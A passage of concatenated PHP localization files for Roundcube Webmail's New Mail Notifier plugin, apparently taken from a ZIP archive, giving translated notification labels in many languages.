 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail New Mail Notifier plugin   |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-newmail_notifier/
*/

$labels['basic'] = 'Presentar notificationes de navigator quando un nove message arriva';
$labels['desktop'] = 'Presentar notificationes de scriptorio quando un nove message arriva';
$labels['sound'] = 'Facer sonar un sono quando un nove message arriva';
$labels['test'] = 'Test';
$labels['title'] = 'Nove e-mail!';
$labels['body'] = 'Vos ha recipite un nove message.';
$labels['testbody'] = 'Iste es un notification de test.';
$labels['desktopdisabled'] = 'Le notificationes de scriptorio ha essite disactivate in vostre navigator.';
$labels['desktopunsupported'] = 'Vostre navigator non supporta le notificationes de scriptorio.';
$labels['desktoptimeout'] = 'Clauder notification de scriptorio';
PKh�\)![hh/plugins/newmail_notifier/localization/bs_BA.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail New Mail Notifier plugin   |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-newmail_notifier/
*/

$labels['basic'] = 'Prikaži obavijesti za nove poruke u pregledniku';
$labels['desktop'] = 'Prikaži obavijesti za nove poruke na desktopu';
$labels['sound'] = 'Zvučni signal za novu poruku';
$labels['test'] = 'Testiraj';
$labels['title'] = 'Novi email!';
$labels['body'] = 'Dobili ste novu poruku.';
$labels['testbody'] = 'Ovo je testna obavijest.';
$labels['desktopdisabled'] = 'Desktop obavijesti su onemogućene u vašem pregledniku.';
$labels['desktopunsupported'] = 'Vaš preglednik ne podržava desktop obavijesti.';
$labels['desktoptimeout'] = 'Zatvori desktop obavijesti';
PKh�\�T��/plugins/newmail_notifier/localization/ru_RU.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail New Mail Notifier plugin   |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-newmail_notifier/
*/

$labels['basic'] = 'Показывать в браузере уведомление о приходе нового сообщения';
$labels['desktop'] = 'Показывать на рабочем столе уведомление о приходе нового сообщения';
$labels['sound'] = 'Подавать звуковой сигнал о приходе нового сообщения';
$labels['test'] = 'Проверить';
$labels['title'] = 'Свежая почта!';
$labels['body'] = 'Вы получили новое сообщение.';
$labels['testbody'] = 'Это тестовое уведомление.';
$labels['desktopdisabled'] = 'В Вашем браузере отключены уведомления на рабочем столе.';
$labels['desktopunsupported'] = 'Ваш браузер не поддерживает уведомления на рабочем столе.';
$labels['desktoptimeout'] = 'Закрыть уведомление на рабочем столе';
PKh�\/(w>../plugins/newmail_notifier/localization/fa_IR.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail New Mail Notifier plugin   |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-newmail_notifier/
*/

$labels['basic'] = 'نمایش تذکرهای مرورگر برای پیام جدید';
$labels['desktop'] = 'نمایش تذکرهای رومیزی برای پیام جدید';
$labels['sound'] = 'پخش صدا برای پیام جدید';
$labels['test'] = 'آزمایش';
$labels['title'] = 'رایانامه‌ی جدید!';
$labels['body'] = 'شما یک پیام جدید دریافت کرده‌اید.';
$labels['testbody'] = 'این یک تذکر آزمایشی است.';
$labels['desktopdisabled'] = 'تذکرهای رومیزی در مرورگر شما غیرفعال شده‌اند.';
$labels['desktopunsupported'] = 'مرورگر شما تذکرهای رومیزی را پشتیبانی نمی‌کند.';
$labels['desktoptimeout'] = 'بستن تذکر دسکتاپ';
PKh�\&�ZD��/plugins/newmail_notifier/localization/is_IS.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail New Mail Notifier plugin   |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-newmail_notifier/
*/

$labels['basic'] = 'Birta tilkynningu í vafra þegar ný skilaboð berast';
$labels['desktop'] = 'Birta tilkynningu á skjáborði þegar ný skilaboð berast';
$labels['sound'] = 'Spila hljóðið þegar ný skilaboð berast';
$labels['test'] = 'Prófa';
$labels['title'] = 'Nýr tölvupóstur!';
$labels['body'] = 'Þú hefur fengið ný skilaboð.';
$labels['testbody'] = 'Þetta er prufutilkynning.';
$labels['desktopdisabled'] = 'Tilkynningar á skjáborði eru ekki virkar í vafranum þínum.';
$labels['desktopunsupported'] = 'Vafrinn þinn styður ekki tilkynningar á skjáborði.';
$labels['desktoptimeout'] = 'Loka tilkynningu á skjáborði';
PKh�\/���/plugins/newmail_notifier/localization/vi_VN.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail New Mail Notifier plugin   |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-newmail_notifier/
*/

$labels['basic'] = 'Hiển thị thông báo trên trình duyệt khi có thư mới';
$labels['desktop'] = 'Hiển thị thông báo trên màn hình khi có thư mới';
$labels['sound'] = 'Thông báo bằng âm thanh khi có thư mới';
$labels['test'] = 'Kiểm tra';
$labels['title'] = 'Có thư mới!';
$labels['body'] = 'Bạn vừa nhận một thư mới';
$labels['testbody'] = 'Đây là thông báo kiểm tra';
$labels['desktopdisabled'] = 'Thông báo trên màn hình bị tắt ở trình duyệt của bạn';
$labels['desktopunsupported'] = 'Trình duyệt của bạn không hỗ trợ thông báo trên màn hình.';
$labels['desktoptimeout'] = 'Đóng hiển thị màn hình';
PKh�\ϣ%��/plugins/newmail_notifier/localization/th_TH.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail New Mail Notifier plugin   |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-newmail_notifier/
*/

$labels['basic'] = 'แสดงการแจ้งเตือนของเบราเซอร์ในข้อความใหม่';
$labels['desktop'] = 'แสดงการแจ้งเตือนบนเดสก์ท็อปในข้อความใหม่';
$labels['sound'] = 'เล่นเสียงในข้อความใหม่';
$labels['test'] = 'ทดสอบ';
$labels['title'] = 'เมล์ใหม่!';
$labels['body'] = 'คุณได้รับข้อความใหม่แล้ว';
$labels['testbody'] = 'นี่คือการทดสอบแจ้งเตือน';
$labels['desktopdisabled'] = 'ปิดการแจ้งเตือนบนเดสก์ท็อปในเบราว์เซอร์ของคุณ';
$labels['desktopunsupported'] = 'เบราว์เซอร์ของคุณไม่สนับสนุนการแจ้งเตือนบนเดสก์ท็อป';
$labels['desktoptimeout'] = 'ปิดการแจ้งเตือนจากเดสก์ท็อป';
PKh�\�`�|qq/plugins/newmail_notifier/localization/ar_SA.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail New Mail Notifier plugin   |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-newmail_notifier/
*/

$labels['basic'] = 'إظهار رسالة تنبيه فى المتصفح عند وصول رسالة جديدة';
$labels['desktop'] = 'إظهار رسالة تنبيه على سطح المكتب عند وصول رسالة جديدة';
$labels['sound'] = 'التنبيه الصوتى عند وصول رسالة جديدة';
$labels['test'] = 'إختبار';
$labels['title'] = 'رسالة جديدة';
$labels['body'] = 'لديك رسالة جديدة';
$labels['testbody'] = 'هذه رسالة تجربية';
$labels['desktopdisabled'] = 'رسائل التنبيه على سطح المكتب غير مفعلة فى متصفح الانترنت الخاص بك';
$labels['desktopunsupported'] = 'المتصفح الخاص بك لا يدعم رسائل سطح المكتب';
$labels['desktoptimeout'] = 'اغلاق تنبيهات سطح المكتب';
PKh�\ܿtȝ�/plugins/newmail_notifier/localization/az_AZ.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail New Mail Notifier plugin   |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-newmail_notifier/
*/

$labels['basic'] = 'Yeni məktubun gəlməsi haqda brauzerdə xəbər ver';
$labels['desktop'] = 'Yeni məktubun gəlməsi haqda iş masasında xəbər ver';
$labels['sound'] = 'Yeni məktubun gəlməsi haqda səs siqnalı ver';
$labels['test'] = 'Sınaq';
$labels['title'] = 'Yeni məktub!';
$labels['body'] = 'Sizə məktub gəldi';
$labels['testbody'] = 'Bu sınaq bildirişidir';
$labels['desktopdisabled'] = 'Sizin brauzerdə iş masasında bildiriş söndürülüb';
$labels['desktopunsupported'] = 'Sizin brauzer iş masasında bildiriş funksiyasını dəstəkləmir';
$labels['desktoptimeout'] = 'Masaüstü bildirişi bağla';
PKh�\����/plugins/newmail_notifier/localization/id_ID.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail New Mail Notifier plugin   |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-newmail_notifier/
*/

$labels['basic'] = 'Tampilkan pemberitahuan pada peramban saat ada pesan baru';
$labels['desktop'] = 'Tampilkan pemberitahuan pada desktop saat ada pesan baru';
$labels['sound'] = 'Mainkan suara saat ada pesan baru';
$labels['test'] = 'Uji';
$labels['title'] = 'Email Baru!';
$labels['body'] = 'Anda telah menerima sebuah pesan baru.';
$labels['testbody'] = 'Ini adalah percobaan pemberitahuan.';
$labels['desktopdisabled'] = 'Pemberitahuan di desktop dimatikan pada peramban Anda.';
$labels['desktopunsupported'] = 'Peramban Anda tidak mendukung pemberitahuan pada desktop';
$labels['desktoptimeout'] = 'Tutup pemberitahuan pada desktop';
PKh�\s�rw��/plugins/newmail_notifier/localization/hu_HU.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail New Mail Notifier plugin   |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-newmail_notifier/
*/

$labels['basic'] = 'Értesítés megjelenítése böngészőben, amikor új üzenet érkezik';
$labels['desktop'] = 'Értesítés megjelenítése az asztalon, amikor új üzenet érkezik';
$labels['sound'] = 'Hang lejátszása új üzenet érkezésekor';
$labels['test'] = 'Próba';
$labels['title'] = 'Új üzenet!';
$labels['body'] = 'Új üzenet érkezett.';
$labels['testbody'] = 'Ez egy értesítési próba.';
$labels['desktopdisabled'] = 'A böngészőben tiltva van az asztali értesítések megjelenítése.';
$labels['desktopunsupported'] = 'A böngésző nem támogatja az asztali értesítések megjelenítését.';
$labels['desktoptimeout'] = 'Az értesítés bezárása';
PKh�\��xx/plugins/newmail_notifier/localization/ro_RO.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail New Mail Notifier plugin   |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-newmail_notifier/
*/

$labels['basic'] = 'Afişează notificări în browser la mesaj nou.';
$labels['desktop'] = 'Afişează notificări desktop la mesaj nou.';
$labels['sound'] = 'Redă un sunet la mesaj nou.';
$labels['test'] = 'Testează';
$labels['title'] = 'E-mail nou!';
$labels['body'] = 'Ai primit un mesaj nou.';
$labels['testbody'] = 'Aceasta este o notificare de test.';
$labels['desktopdisabled'] = 'Notificările desktop sunt dezactivate în browser.';
$labels['desktopunsupported'] = 'Browser-ul dumneavoastră nu suportă notificări desktop.';
$labels['desktoptimeout'] = 'Închide notificarea de birou';
PKh�\�0�88,plugins/newmail_notifier/localization/eo.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail New Mail Notifier plugin   |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-newmail_notifier/
*/

$labels['basic'] = 'Montri atentigojn de retumilo pri nova mesaĝo';
$labels['desktop'] = 'Montri atentigojn de komputilo pri nova mesaĝo';
$labels['sound'] = 'Ludi sonon por nova mesaĝo';
$labels['test'] = 'Testi';
$labels['title'] = 'Nova retmesaĝo!';
$labels['body'] = 'Vi ricevis novan mesaĝon.';
$labels['testbody'] = 'Tio estas testo pri atentigo.';
$labels['desktopdisabled'] = 'Atentigoj de komputilo estas malŝaltitaj en via retumilo.';
$labels['desktopunsupported'] = 'Via retumilo ne subtenas atentigojn de komputilo.';
PKh�\$*@��/plugins/newmail_notifier/localization/fr_FR.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail New Mail Notifier plugin   |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-newmail_notifier/
*/

$labels['basic'] = 'Afficher les notifications du navigateur pour les nouveaux courriels';
$labels['desktop'] = 'Afficher les notifications de bureau pour les nouveaux courriels ';
$labels['sound'] = 'Jouer le son pour les nouveaux courriels';
$labels['test'] = 'Test';
$labels['title'] = 'Nouveau courriel';
$labels['body'] = 'Vous avez reçu un nouveau courriel.';
$labels['testbody'] = 'Ceci est une notification de test.';
$labels['desktopdisabled'] = 'Les notifications du bureau sont désactivées dans votre navigateur.';
$labels['desktopunsupported'] = 'Votre navigateur ne prend pas en charge les notifications du bureau.';
$labels['desktoptimeout'] = 'Fermer la notification du bureau';
PKh�\mEjfkk/plugins/newmail_notifier/localization/hr_HR.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail New Mail Notifier plugin   |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-newmail_notifier/
*/

$labels['basic'] = 'Prikaži dojave preglednika kada dođe nova poruka';
$labels['desktop'] = 'Prikaži dojave na desktopu kada dođe nova poruka';
$labels['sound'] = 'Pusti zvuk kada dođe nova poruka';
$labels['test'] = 'Test';
$labels['title'] = 'Novi Email!';
$labels['body'] = 'Primili ste novu poruku';
$labels['testbody'] = 'Ovo je probna dojava.';
$labels['desktopdisabled'] = 'Dojave na desktopu su onemogućene u vašem pregledniku.';
$labels['desktopunsupported'] = 'Vaš preglednik ne podržava dojave na desktopu.';
$labels['desktoptimeout'] = 'Zatvori dojavu na desktopu';
PKh�\J����/plugins/newmail_notifier/localization/pl_PL.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail New Mail Notifier plugin   |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-newmail_notifier/
*/

$labels['basic'] = 'Wyświetlaj powiadomienia o nadejściu nowej wiadomości w przeglądarce';
$labels['desktop'] = 'Wyświetlaj powiadomienia o nadejściu nowej wiadomości na pulpicie';
$labels['sound'] = 'Odtwarzaj dźwięk o nadejściu nowej wiadomości';
$labels['test'] = 'Testuj powiadomienie';
$labels['title'] = 'Nowa wiadomość!';
$labels['body'] = 'Nadeszła nowa wiadomość.';
$labels['testbody'] = 'To jest testowe powiadomienie.';
$labels['desktopdisabled'] = 'Powiadomienia na pulpicie zostały zablokowane w twojej przeglądarce.';
$labels['desktopunsupported'] = 'Twoja przeglądarka nie obsługuje powiadomień na pulpicie.';
$labels['desktoptimeout'] = 'Zamknij powiadomienie pulpitu';
PKh�\�'6Ŏ�/plugins/newmail_notifier/localization/mr_IN.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail New Mail Notifier plugin   |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-newmail_notifier/
*/

$labels['sound'] = 'नवीन संदेश आल्यास नाद करा';
$labels['test'] = 'चाचणी';
$labels['title'] = 'नवीन ईमेल';
$labels['body'] = 'तुमच्यासाठी नवीन संदेश आला आहे';
$labels['testbody'] = 'हा एक चाचणी निर्देश आहे';
PKh�\��)�

/plugins/newmail_notifier/localization/ja_JP.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail New Mail Notifier plugin   |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-newmail_notifier/
*/

$labels['basic'] = '新しいメッセージの通知をブラウザーに表示';
$labels['desktop'] = '新しいメッセージの通知をデスクトップに表示';
$labels['sound'] = '新しいメッセージが届くと音を再生';
$labels['test'] = 'テスト';
$labels['title'] = '新しい電子メールです!';
$labels['body'] = '新しいメッセージを受信しました。';
$labels['testbody'] = 'これはテストの通知です。';
$labels['desktopdisabled'] = 'ブラウザーでデスクトップ通知が無効になっています。';
$labels['desktopunsupported'] = 'ブラウザーがデスクトップ通知をサポートしていません。';
$labels['desktoptimeout'] = 'デスクトップ通知を閉じる';
PKh�\�on�&&/plugins/newmail_notifier/localization/nn_NO.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail New Mail Notifier plugin   |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-newmail_notifier/
*/

$labels['basic'] = 'Vis varsel i nettlesaren ved ny melding';
$labels['desktop'] = 'Vis varsel på skrivebordet ved ny melding';
$labels['sound'] = 'Spill av lyd ved ny melding';
$labels['test'] = 'Test';
$labels['title'] = 'Ny e-post!';
$labels['body'] = 'Du har mottatt ei ny melding.';
$labels['testbody'] = 'Dette er eit testvarsel.';
$labels['desktopdisabled'] = 'Skrivebordsvarsel er slått av i din nettlesar.';
$labels['desktopunsupported'] = 'Din nettlesar støttar ikkje vising av varsel på skrivebordet.';
PKh�\��壮�-plugins/newmail_notifier/localization/ast.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail New Mail Notifier plugin   |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-newmail_notifier/
*/

$labels['basic'] = 'Amosar notificaciones del restolador nun mensaxe nuevu';
$labels['desktop'] = 'Amosar notificaciones d\'escritoriu nun mensaxe nuevu';
$labels['sound'] = 'Reproducir el soníu nun mensaxe nuevu';
$labels['test'] = 'Prueba';
$labels['title'] = '¡Mensaxe nuevu!';
$labels['body'] = 'Recibisti un mensaxe nuevu';
$labels['testbody'] = 'Esta ye una notificación de prueba';
$labels['desktopdisabled'] = 'Les notificaciones d\'escritoriu tán deshabilitaes nel to restolador.';
$labels['desktopunsupported'] = 'El to restolador nun sofita notificaciones d\'escritoriu.';
$labels['desktoptimeout'] = 'Zarrar notificación d\'escritoriu';
PKh�\z���ww/plugins/newmail_notifier/localization/sr_CS.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail New Mail Notifier plugin   |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-newmail_notifier/
*/

$labels['basic'] = 'Прикажи обавештења о новим порукама у прегледачу';
$labels['desktop'] = 'Прикажи обавештења о новим порукама у систему';
$labels['sound'] = 'Пусти звук при новој поруци';
$labels['test'] = 'Испробај';
$labels['title'] = 'Нова порука!';
$labels['body'] = 'Примили сте нову поруку.';
$labels['testbody'] = 'Ово је пробно обавештење.';
$labels['desktopdisabled'] = 'Обавештења у систему су искључена у вашем прегледачу.';
$labels['desktopunsupported'] = 'Ваш прегледач не подржава обавештења у систему.';
$labels['desktoptimeout'] = 'Затвори обавештења у систему';
PKh�\L�	̎�/plugins/newmail_notifier/localization/lb_LU.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail New Mail Notifier plugin   |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-newmail_notifier/
*/

$labels['basic'] = 'Browser-Notifikatioun bei neiem Message uweisen';
$labels['desktop'] = 'Desktop-Notifikatioun bei neiem Message uweisen';
$labels['sound'] = 'Dësen Toun bei neiem Message spillen';
$labels['test'] = 'Test';
$labels['title'] = 'Nei E-Mail!';
$labels['body'] = 'Du hues en neie Message kritt.';
$labels['testbody'] = 'Dëst ass eng Test-Benoorichtegung.';
$labels['desktopdisabled'] = 'Desktop-Notifikatioune sinn an dengem Browser ausgeschalt.';
$labels['desktopunsupported'] = 'Däi Browser ënnerstëtzt keng Desktop-Notifikatiounen.';
$labels['desktoptimeout'] = 'Browser-Notifikatioun zoumaachen';
PKh�\�	4_��,plugins/newmail_notifier/localization/br.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail New Mail Notifier plugin   |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-newmail_notifier/
*/

$labels['basic'] = 'Diskouez kemennoù ar merdeer evit kemennadennoù nevez';
$labels['desktop'] = 'Diskouez kemennoù ar burev evit kemennadennoù nevez';
$labels['sound'] = 'Seniñ ar son pa kemennadenn nevez';
$labels['test'] = 'Taol-arnod';
$labels['title'] = 'Kemennadenn nevez !';
$labels['body'] = 'Resevet ho p\'eus ur postel nevez';
$labels['testbody'] = 'An dra se a zo un taol arnod kemenn';
$labels['desktopdisabled'] = 'Diweredekaet eo kemennoù ar burev en ho merdeer.';
$labels['desktopunsupported'] = 'N\'eo ket skoret kemennoù ar burev gant ho merdeer.';
$labels['desktoptimeout'] = 'Serr burev kemen';
PKh�\�R���/plugins/newmail_notifier/localization/mk_MK.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail New Mail Notifier plugin   |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-newmail_notifier/
*/

$labels['basic'] = 'Прикажи известувања на прелистувачот за нова порака ';
$labels['desktop'] = 'Прикажи известувања на работната површина за нова порака';
$labels['sound'] = 'Пушти го звукот за нова порака ';
$labels['test'] = 'Тест';
$labels['title'] = 'Нова електронска пошта';
$labels['body'] = 'Имаш нова порака ';
$labels['testbody'] = 'Ова е тест известување ';
$labels['desktopdisabled'] = 'Известувањата на работната површина се исклучени во твојот прелистувач ';
$labels['desktopunsupported'] = 'Твојот прелистувач не подржува известувања на работната површина ';
$labels['desktoptimeout'] = 'Исклучи известувања на работната површина';
PKh�\�,
DD/plugins/newmail_notifier/localization/km_KH.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail New Mail Notifier plugin   |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-newmail_notifier/
*/

$labels['basic'] = 'បង្ហាញ​ការ​ជូនដំណឹង​កម្មវិធី​អ៊ីនធឺណិត​ពេល​មាន​សារ​ថ្មី';
$labels['desktop'] = 'បង្ហាញ​ការ​ជូនដំណឹង​ផ្ទៃតុ​ពេល​មាន​សារ​ថ្មី';
$labels['sound'] = 'បន្លឺ​សំឡេង​ពេល​មាន​សារ​ថ្មី';
$labels['test'] = 'សាកល្បង';
$labels['title'] = 'មាន​សារ​ថ្មី!';
$labels['body'] = 'អ្នក​បាន​ទទួល​សារ​ថ្មី';
$labels['testbody'] = 'នេះ​ជា​ការ​ជូនដំណឹង​សាកល្បង។';
$labels['desktopdisabled'] = 'ការ​ជូនដំណឹង​ផ្ទៃតុ​ត្រូវ​បាន​បិទ​នៅ​ក្នុង​កម្មវិធី​អ៊ីនធឺណិត​របស់​អ្នក។';
$labels['desktopunsupported'] = 'កម្មវិធី​អ៊ីនធឺណិត​របស់​អ្នក​មិន​គាំទ្រ​ការ​ជូនដំណឹង​ផ្ទៃតុ។';
$labels['desktoptimeout'] = 'បិទ​ការ​ជូនដំណឹង​ផ្ទៃតុ';
PKh�\��F(oo/plugins/newmail_notifier/localization/mn_MN.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail New Mail Notifier plugin   |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-newmail_notifier/
*/

$labels['basic'] = 'Шинэ мессеж ирэхэд мэдэгдэл харуулах';
$labels['desktop'] = 'Шинэ мэйл ирэх үед Дэлгэц дээр мэдэгдэл харуулах';
$labels['sound'] = 'Шинэ мэйл ирэхэд дуугарч мэдэгдэх';
$labels['test'] = 'Туршилт';
$labels['title'] = 'Шинэ Захиа!';
$labels['body'] = 'Та шинэ захиа хүлээн авлаа';
$labels['testbody'] = 'Энэ бол туршилтын мэдэгдэл.';
